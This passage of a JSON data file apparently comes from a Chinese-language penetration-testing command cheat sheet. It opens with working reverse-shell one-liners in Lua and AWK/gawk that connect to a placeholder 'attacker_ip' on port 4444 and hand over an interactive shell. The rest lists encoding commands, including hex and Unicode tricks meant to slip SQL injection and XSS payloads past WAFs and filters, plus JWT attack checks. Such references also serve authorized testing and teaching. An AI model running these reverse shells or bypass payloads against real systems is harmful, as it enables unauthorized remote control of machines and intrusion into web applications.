"commands": [
{
"command": "lua -e \"require('socket');require('os');t=socket.tcp();t:connect('attacker_ip','4444');os.execute('sh -i <&3 >&3 2>&3');\"",
"description": "Lua Socket库反弹Shell",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "lua5.1 -e 'local host, port = \"attacker_ip\", 4444 local socket = require(\"socket\") local tcp = socket.tcp() tcp:connect(host, port) while true do local cmd, status = tcp:receive() local f = io.popen(cmd, \"r\") local s = f:read(\"*a\") f:close() tcp:send(s) if status == \"closed\" then break end end tcp:close()'",
"description": "Lua 5.1兼容版本",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "awk-reverse",
"name": "AWK反弹Shell",
"description": "AWK语言反弹Shell命令",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "awk 'BEGIN {s = \"/inet/tcp/0/attacker_ip/4444\"; while(42) { do{ printf \"shell> \" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null",
"description": "AWK网络功能反弹Shell",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "/inet/tcp/0/",
"explanation": "AWK内置TCP连接",
"type": "command"
},
{
"part": "attacker_ip/4444",
"explanation": "目标地址和端口",
"type": "value"
}
]
},
{
"command": "gawk 'BEGIN{s=\"/inet/tcp/0/attacker_ip/4444\";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=\"exit\");close(s)}}'",
"description": "GNU AWK简化版",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "base64-encode",
"name": "Base64编码",
"description": "Base64编码/解码命令集合",
"category": "编码解码",
"tags": [],
"commands": [
{
"command": "# Linux:\necho -n \"payload\" | base64\nbase64 file.txt > encoded.txt\n\n# Windows PowerShell:\n[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(\"payload\"))\n\n# Python:\npython3 -c \"import base64; print(base64.b64encode(b'payload').decode())\"",
"description": "各平台Base64编码方法",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# Linux:\necho \"cGF5bG9hZA==\" | base64 -d\nbase64 -d encoded.txt > decoded.txt\n\n# Windows PowerShell:\n[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\"cGF5bG9hZA==\"))\n\n# Python:\npython3 -c \"import base64; print(base64.b64decode('cGF5bG9hZA==').decode())\"",
"description": "各平台Base64解码方法",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# Python:\nimport base64\nbase64.urlsafe_b64encode(b\"payload\").decode()\nbase64.urlsafe_b64decode(\"cGF5bG9hZA==\").decode()",
"description": "URL安全的Base64编码(+/替换为-_)",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "url-encode",
"name": "URL编码",
"description": "URL编码/解码命令集合",
"category": "编码解码",
"tags": [],
"commands": [
{
"command": "# Python:\npython3 -c \"from urllib.parse import quote; print(quote('<script>alert(1)</script>'))\"\n\n# 双重编码:\npython3 -c \"from urllib.parse import quote; print(quote(quote('<script>alert(1)</script>')))\"\n\n# CyberChef在线: https://gchq.github.io/CyberChef/",
"description": "URL编码方法(单次/双重)",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# Python:\npython3 -c \"from urllib.parse import unquote; print(unquote('%3Cscript%3Ealert(1)%3C%2Fscript%3E'))\"\n\n# Linux:\nprintf '%b' \"\\x3Cscript\\x3E\"",
"description": "URL解码方法",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "hex-encode",
"name": "Hex编码",
"description": "十六进制编码/解码命令集合",
"category": "编码解码",
"tags": [],
"commands": [
{
"command": "# Linux:\necho -n \"payload\" | xxd -p\necho -n \"payload\" | od -A n -t x1 | tr -d \" \\n\"\n\n# Python:\npython3 -c \"print('payload'.encode().hex())\"\npython3 -c \"print('\\\\x'.join([hex(ord(c))[2:] for c in 'payload']))\"",
"description": "十六进制编码方法",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# Linux:\necho \"7061796c6f6164\" | xxd -r -p\n\n# Python:\npython3 -c \"print(bytes.fromhex('7061796c6f6164').decode())\"",
"description": "十六进制解码方法",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# SQL注入中使用:\nSELECT 0x61646D696E -- \"admin\"\n\n# XSS中使用:\n<img src=x onerror=\\x61\\x6c\\x65\\x72\\x74(1)>",
"description": "在SQL注入和XSS中使用十六进制编码",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "html-encode",
"name": "HTML编码",
"description": "HTML实体编码/解码命令集合",
"category": "编码解码",
"tags": [],
"commands": [
{
"command": "# Python:\npython3 -c \"import html; print(html.escape('<script>alert(1)</script>'))\"\n\n# 数字编码:\npython3 -c \"print(''.join(['&#'+str(ord(c))+';' for c in '<script>alert(1)</script>']))\"\n\n# 十六进制HTML编码:\npython3 -c \"print(''.join(['&#x'+hex(ord(c))[2:]+';' for c in 'alert']))\"",
"description": "HTML实体编码(命名/十进制/十六进制)",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# Python:\npython3 -c \"import html; print(html.unescape('&lt;script&gt;alert(1)&lt;/script&gt;'))\"",
"description": "HTML实体解码",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 常用HTML实体:\n# < => &lt; 或 &#60; 或 &#x3c;\n# > => &gt; 或 &#62; 或 &#x3e;\n# \" => &quot; 或 &#34; 或 &#x22;\n# ' => &apos; 或 &#39; 或 &#x27;\n# & => &amp; 或 &#38; 或 &#x26;",
"description": "XSS绕过常用的HTML实体对照",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "unicode-encode",
"name": "Unicode编码",
"description": "Unicode编码/解码命令集合",
"category": "编码解码",
"tags": [],
"commands": [
{
"command": "# Python Unicode转义:\npython3 -c \"print(''.join(['\\\\u'+hex(ord(c))[2:].zfill(4) for c in 'alert']))\"\n# 输出: \\u0061\\u006c\\u0065\\u0072\\u0074\n\n# UTF-8字节:\npython3 -c \"print('alert'.encode('utf-8'))\"",
"description": "Unicode各种编码形式",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# Python:\npython3 -c \"print('\\\\u0061\\\\u006c\\\\u0065\\\\u0072\\\\u0074'.encode().decode('unicode_escape'))\"\n\n# JavaScript:\nconsole.log(\"\\u0061\\u006c\\u0065\\u0072\\u0074\")",
"description": "Unicode解码方法",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# JavaScript Unicode绕过:\n<script>\\u0061\\u006c\\u0065\\u0072\\u0074(1)</script>\n\n# Overlong UTF-8编码:\n# / => %c0%af (可绕过路径过滤)\n# . => %c0%ae",
"description": "使用Unicode编码绕过WAF/过滤",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "jwt-decode",
"name": "JWT解码",
"description": "JWT(JSON Web Token)解码和分析工具",
"category": "编码解码",
"tags": [],
"commands": [
{
"command": "# 在线工具:\n# https://jwt.io\n# https://token.dev\n# 粘贴JWT即可查看Header和Payload",
"description": "使用在线工具解码JWT",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# Python:\npython3 -c \"\nimport base64, json, sys\ntoken = sys.argv[1]\nparts = token.split('.')\nfor i, part in enumerate(parts[:2]):\n padded = part + '=' * (4 - len(part) % 4)\n decoded = base64.urlsafe_b64decode(padded)\n print(json.dumps(json.loads(decoded), indent=2))\n\" YOUR_JWT_HERE",
"description": "使用Python命令行解码JWT",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# JWT结构: Header.Payload.Signature\n# Header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Payload: {\"sub\":\"1234\",\"name\":\"user\",\"iat\":1516239022}\n# Signature: HMACSHA256(base64url(header)+\".\"+base64url(payload), secret)\n\n# 检查要点:\n# 1. alg是否可改为none\n# 2. 密钥是否为弱密码\n# 3. 是否可将RS256改为HS256\n# 4. exp是否已过期",
"description": "JWT结构分析和安全检查要点",
"platform": "all",
"syntaxBreakdown": []
}
]
}
]
Reference in New Issue View Git Blame Copy Permalink